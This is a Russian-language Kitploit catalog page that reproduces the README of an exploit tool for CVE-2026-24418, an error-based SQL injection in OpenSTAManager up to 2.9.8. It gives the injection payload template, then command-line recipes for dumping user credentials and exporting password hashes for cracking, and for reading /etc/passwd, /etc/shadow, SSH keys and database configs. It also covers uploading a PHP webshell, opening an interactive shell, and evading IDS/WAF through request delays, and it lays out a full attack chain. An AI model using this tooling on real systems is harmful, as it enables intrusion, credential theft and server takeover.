Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-24418 — OpenSTAManager v2.9.8 и более ранние версии содержат критическую уязвимость Error-Based SQL Injection в обработчике массовых операций для модуля Scadenzario (График платежей). | Kitploit
Инструменты/GitHubGitHub/bridgeralderson/cve-2026-24418
Атаки на ПаролиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingБезопасность Баз Данных

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
bridgeralderson/cve-2026-24418

CVE-2026-24418

OpenSTAManager v2.9.8 и более ранние версии содержат критическую уязвимость Error-Based SQL Injection в обработчике массовых операций для модуля Scadenzario (График платежей).

Репозиторий
222 месяцев назадЕщё не проверено

CVE-2026-24418

OpenSTAManager <= 2.9.8 — SQL-инъекция на основе ошибок в модуле массовых операций Scadenzario

Обзор

ПолеДетали
CVE IDCVE-2026-24418
СерьёзностьВЫСОКАЯ (8.8)
CWECWE-89: SQL-инъекция
Затронутые версииOpenSTAManager <= 2.9.8
Уязвимый параметрid_records[] (массив POST)
Уязвимая конечная точка/actions.php?id_module=18
Тип атакиSQL-инъекция на основе ошибок (EXTRACTVALUE)
АутентификацияТребуется (любая действительная учётная запись)

Детали уязвимости

OpenSTAManager v2.9.8 и более ранние версии содержат критическую SQL-инъекцию на основе ошибок в обработчике массовых операций для модуля Scadenzario (График платежей). Приложение не проверяет, что элементы массива id_records[] являются целыми числами, перед использованием их в SQL-выражении IN(), что позволяет аутентифицированным злоумышленникам внедрять произвольные SQL-команды и извлекать конфиденциальные данные через сообщения об ошибках XPATH.

Основная причина

  1. Точка входа — /actions.php получает id_records[] через POST
  2. Недостаточная очистка — array_clean() только удаляет пустые значения, НЕ проверяет типы данных
  3. Точка внедрения — /modules/scadenzario/bulk.php передаёт неочищенные значения напрямую в SQL-выражение IN()
  4. Извлечение данных — сообщения об ошибках EXTRACTVALUE/UPDATEXML раскрывают результаты запросов

Возможности

Установка

root@kitploit:~
git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests

Использование

Аутентификация

root@kitploit:~
# Вход с учётными данными
python3 exploit.py -t http://target.com -u admin -p password --info

# Использование существующей сессионной куки
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info

Разведка

root@kitploit:~
# Информация о БД + привилегии + учётные данные пользователей
python3 exploit.py -t http://target.com -u admin -p secret --all

# Проверка привилегий MySQL (FILE, SUPER и т.д.)
python3 exploit.py -t http://target.com -u admin -p secret --privs

Извлечение учётных данных

root@kitploit:~
# Дамп пользователей и автоматический экспорт хэшей
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot

# Выходные файлы:
#   ./loot/users.json          - Полные данные пользователей
#   ./loot/users.csv           - CSV формат
#   ./loot/hashes_hashcat.txt  - Формат Hashcat (режим 3200)
#   ./loot/hashes_john.txt     - Формат John (user:hash)

Перечисление баз данных

root@kitploit:~
# Список всех баз данных
python3 exploit.py -t http://target.com -u admin -p secret --dbs

# Список таблиц в конкретной базе данных
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager

# Список столбцов таблицы
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users

# Дамп определённых столбцов с ограничением по строкам
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10

Чтение файлов (LFI через SQL)

root@kitploit:~
# Чтение /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd

# Чтение конфигурации приложения (учётные данные БД)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php

# Чтение SSH-ключей
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa

# HEX режим (обход фильтров символов)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow

Удалённое выполнение кода

root@kitploit:~
# Загрузка веб-шелла (автоматическое определение webroot)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Загрузка веб-шелла с указанием webroot
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html

# Интерактивная сессия оболочки
python3 exploit.py -t http://target.com -u admin -p secret --rce

# RCE автоматически загрузит веб-шелл, если он отсутствует

Вывод и отчёты

root@kitploit:~
# Сохранить всё в директорию
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot

# Сгенерированные файлы:
#   db_info.json, privileges.json, users.json, users.csv,
#   hashes_hashcat.txt, hashes_john.txt

Сетевые опции

root@kitploit:~
# Через прокси Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080

# С задержкой запросов (2 секунды между запросами)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2

# Пропуск проверки SSL
python3 exploit.py -t https://target.com -u admin -p secret --info -k

Полный справочник опций

root@kitploit:~
Цель:
  -t, --target           Базовый URL цели

Аутентификация:
  -u, --user             Имя пользователя для входа
  -p, --password         Пароль для входа
  -c, --cookie           Существующее значение PHPSESSID

Перечисление:
  -D, --database         Имя целевой базы данных
  -T, --table            Имя целевой таблицы
  -C, --columns-list     Столбцы для дампа (через запятую)
  --limit                Ограничение количества строк

Действия:
  --info                 Информация о сервере БД
  --users                Дамп учётных данных zz_users
  --dbs                  Перечисление баз данных
  --tables               Список таблиц
  --columns              Список столбцов (требуется -T)
  --dump                 Дамп данных (требуется -T и -C)
  --sql QUERY            Произвольный SQL-запрос
  --all                  Выполнить --info + --privs + --users
  --privs                Проверка привилегий MySQL

Операции с файлами:
  --file-read PATH       Чтение файла через LOAD_FILE()
  --file-read-hex PATH   Чтение файла через HEX-кодировку

Удалённое выполнение кода:
  --webshell             Загрузить PHP-веб-шелл
  --webroot PATH         Путь webroot для загрузки шелла
  --rce                  Интерактивное выполнение команд

Вывод:
  -o, --output DIR       Сохранить результаты в директорию

Сеть:
  -m, --module-id        ID модуля (по умолчанию: 18)
  --proxy                URL HTTP-прокси
  -k, --no-ssl-verify    Отключить проверку SSL
  --delay                Задержка запросов в секундах

Технические детали

Структура полезной нагрузки

root@kitploit:~
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#

Ограничение символов EXTRACTVALUE

MySQL EXTRACTVALUE() возвращает максимум ~32 символа через ошибки XPATH. Инструмент автоматически разбивает длинные результаты с помощью SUBSTRING():

root@kitploit:~
SUBSTRING((<query>), 1, 31)    -- Часть 1
SUBSTRING((<query>), 32, 31)   -- Часть 2
...

Механизм загрузки веб-шелла

Техническое примечание о контексте на основе ошибок: Хотя --webshell и --rce включены для максимального охвата, MySQL строго запрещает использование INTO DUMPFILE внутри подзапроса или предложения IN() (что как раз и является точкой внедрения данной CVE).

Поэтому прямая запись файлов через эту конкретную инъекцию на основе ошибок обычно завершится синтаксической ошибкой, если только:

  1. Целевая среда не допускает Stacked Queries (очень редко в современных PHP/PDO).
  2. Вам не удастся преобразовать полезную нагрузку в инъекцию на основе UNION.

Если вы подтвердили привилегию FILE через --privs, лучшим вариантом будет использование --file-read и --file-read-hex, так как LOAD_FILE() отлично работает внутри подзапросов на основе ошибок.

Когда привилегия FILE доступна и ограничения позволяют:

root@kitploit:~
SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'

Уязвимый путь кода

root@kitploit:~
POST /actions.php?id_module=18
    └── actions.php (L503-506) ─── получает id_records[]
        └── array_clean() ─── только удаляет пустые значения
            └── bulk.php (L88) ─── строит SQL IN() выражение
                └── Database.php (L289) ─── выполняет неочищенный запрос
                    └── Ошибка XPATH раскрывает данные

Пример цепочки атак

root@kitploit:~
1. --privs        → Проверить привилегию FILE
2. --users        → Извлечь учётные данные, экспортировать хэши
3. --file-read    → Прочитать config.inc.php для учётных данных БД
4. --file-read    → Прочитать /etc/passwd для имён пользователей
5. --webshell     → Загрузить PHP-веб-шелл
6. --rce          → Интерактивная оболочка → pivot

Отказ от ответственности

Этот инструмент предоставлен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Всегда получайте соответствующее разрешение перед тестированием. Автор не несёт ответственности за неправомерное использование.

Ссылки

  • CVE-2026-24418 (NVD)
  • GitHub Security Advisory — GHSA-4xwv-49c8-fvhq
  • Репозиторий OpenSTAManager
  • PoC от Lukasz Rybak
Скачать инструмент
ВозможностьОписание
--infoОпределение сервера БД (версия, пользователь, hostname, ОС, пути)
--privsПеречисление привилегий MySQL (FILE, SUPER, PROCESS)
--usersПолный дамп учётных данных из zz_users с автоматическим экспортом хэшей
--dbsПеречисление всех доступных баз данных
--tablesСписок таблиц с количеством строк
--columnsСписок столбцов с типами и информацией о NULL
--dumpИзвлечение данных из любой таблицы/столбца
--sqlВыполнение произвольного SQL-запроса
--file-readЧтение файлов сервера через LOAD_FILE() (/etc/passwd, конфиги, SSH-ключи)
--file-read-hexЧтение файлов в HEX-кодировке для обхода фильтров
--webshellЗагрузка PHP-веб-шелла через INTO DUMPFILE
--rceИнтерактивное выполнение команд через загруженный веб-шелл
-o / --outputСохранение всех результатов в форматы JSON, CSV, hashcat/john
--proxyПоддержка HTTP-прокси (Burp Suite)
--delayОграничение скорости запросов для обхода IDS/WAF